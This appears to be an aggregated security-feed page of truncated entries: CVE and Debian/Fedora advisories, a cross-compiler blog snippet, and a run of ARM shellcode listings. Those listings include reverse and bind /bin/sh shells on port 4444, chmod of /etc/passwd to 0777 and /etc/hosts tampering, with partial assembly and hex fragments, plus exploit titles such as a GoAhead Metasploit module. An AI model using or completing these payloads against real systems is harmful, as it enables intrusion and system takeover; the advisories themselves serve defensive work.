CVE-2018-0487

ARM mbed TLS before 1.3.22, before 2.1.10, and before 2.7.0 allows remote attackers to execute arbitrary code or cause a denial of service buffer overflow via a crafted certificate chain that is mishandled during RSASSA-PSS signature verification within a TLS or DTLS session...

Easy Windows and Linux cross-compilers for macOS

tl;dr: you can install cross-compiler toolchains to compile C/C++ for Windows or Linux from macOS with these two Homebrew Formulas. brew install FiloSottile/musl-cross/musl-cross brew install mingw-w64 Cross-compiling C and C++ is dreadful. While in Go you just need to set an environment variable...

Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)

/ Title: Linux/ARM - Reverse Shell TCP /bin/sh. Null free shellcode 80 bytes Date: 2018-01-25 Tested: armv7l Raspberry Pi v3 Author: rtmcx - twitter: @rtmcx / .section .text .global start start: / Enter Thumb mode / .ARM add r3, pc, 1 bx r3 .THUMB / Create a new socket/ mov r0, 2 // PFINET = 2 mo...

Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh)+ Null-Free Shellcode (80 bytes)

Linux/ARM - Reverse TCP 192.168.1.1:4444/TCP Shell /bin/sh+ Null-Free Shellcode 80 bytes. Shellcode exploit for ARM platform / Title: Linux/ARM - Reverse Shell TCP /bin/sh. Null free shellcode 80 bytes Date: 2018-01-25 Tested: armv7l Raspberry Pi v3 Author: rtmcx - twitter: @rtmcx / .section .tex...

GoAhead Web Server 2.5 < 3.6.5 - HTTPd LD_PRELOAD Arbitrary Module Load Exploit

This Metasploit module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class...

[SECURITY] [DSA 4093-1] openocd security update

------------------------------------------------------------------------- Debian Security Advisory DSA-4093-1 [email protected] https://www.debian.org/security/ January 21, 2018 https://www.debian.org/security/faq - -------------------------------------------------------------------------...

[SECURITY] [DSA 4093-1] openocd security update

------------------------------------------------------------------------- Debian Security Advisory DSA-4093-1 [email protected] https://www.debian.org/security/ January 21, 2018 https://www.debian.org/security/faq - -------------------------------------------------------------------------...

Debian DLA-1253-1 : openocd security update

OpenOCD, an on-chip JTAG debug solution for ARM and MIPS systems, does not block attempts to use HTTP POST for sending data to localhost, which allows remote attackers to conduct cross-protocol scripting attacks, and consequently execute arbitrary commands, via a crafted website. For Debian 7...

Debian: Security Advisory (DLA-1253-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian: Security Advisory (DSA-4093-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free She

/ Title: Linux/ARM - Password Protected Reverse Shell TCP /bin/sh. Null free shellcode 156 bytes Date: 2018-01-15 Tested: armv7l Raspberry Pi v3 Author: rtmcx - twitter: @rtmcx / .section .text .global start start: / Enter Thumb mode / .ARM add r6, pc, 1 bx r6 .THUMB / Create a new socket/ /...

Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)

Linux/ARM - Reverse TCP 192.168.1.1:4444/TCP Shell /bin/sh + Password MyPasswd + Null-Free Shellcode 156 bytes. Shellcode exploit for ARM platform / Title: Linux/ARM - Password Protected Reverse Shell TCP /bin/sh. Null free shellcode 156 bytes Date: 2018-01-15 Tested: armv7l Raspberry Pi v3 Autho...

Fedora 27 : fedora-arm-installer (2017-c8712c7fc3)

Update to 2.1 ---- Update to 2.0, Initial support for aarch64 images and associated SBCs Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible...

Fedora 27 : firefox (2018-276558ff6f)

Update to 57.0.4 - Security fixes to address the Meltdown and Spectre timing attacks - https://blog.mozilla.org/security/2018/01/03/mitigations -landing-new-class-timing-attack/ - Require new nss 3.34 fixed rhbz1531031 - Disabled ARM on all Fedoras due to rhbz1523912 Note that Tenable Network...

Linux/ARM - chmod(/etc/passwd, 0777) Shellcode (39 bytes)

/ Title : Linux/ARM - chmod"/etc/passwd", 0777 - 39 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...

Linux/ARM - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (79 bytes)

/ Title: Add map in /etc/hosts file - 79 bytes Date: 2015-03-02 Architecture: armv6l GNU/Linux Website: http://osandamalith.wordpress.com E-Mail: osandacatunseen.is Author: Osanda Malith Jayathissa @OsandaMalith hosts: file format elf32-littlearm Disassembly of section .text: 00008054 : 8054:...

Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes)

.section .text .global start start: .ARM add r3, pc, 1 // switch to thumb mode bx r3 .THUMB // socket2, 1, 0 mov r0, 2 mov r1, 1 sub r2, r2, r2 // set r2 to null mov r7, 200 // r7 = 281 socket add r7, 81 // r7 value needs to be split svc 1 // r0 = hostsockid value mov r4, r0 // save hostsockid in...

Linux/ARM - execve (/bin/sh,NULL,0) Shellcode (31 bytes)

/ Title: Linux/ARM - execve"/bin/sh",NULL,0 - 31 bytes Date: 2010-08-31 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan - twitter: @jonathansalwan shell-storm.org Shellcode ARM without 0x20, 0x0a and 0x00 00008054 : 8054: e28f3001 add r3, pc, 1 ; 0x1 8058: e12fff13 bx r3 805c: 4678 mov r0, p...

Flash Operator Panel 2.31.03 Command Execution

Document Title: =============== Flash Operator Panel v2.31.03 - Command Execution Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1907 Release Date: ============= 2018-01-08 Vulnerability Laboratory ID VL-ID:...

Linux/ARM - execve (/bin/sh, [], [0 vars]) Shellcode (35 bytes)

/ Title : Linux/ARM - execve"/bin/sh", , 0 vars - 35 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...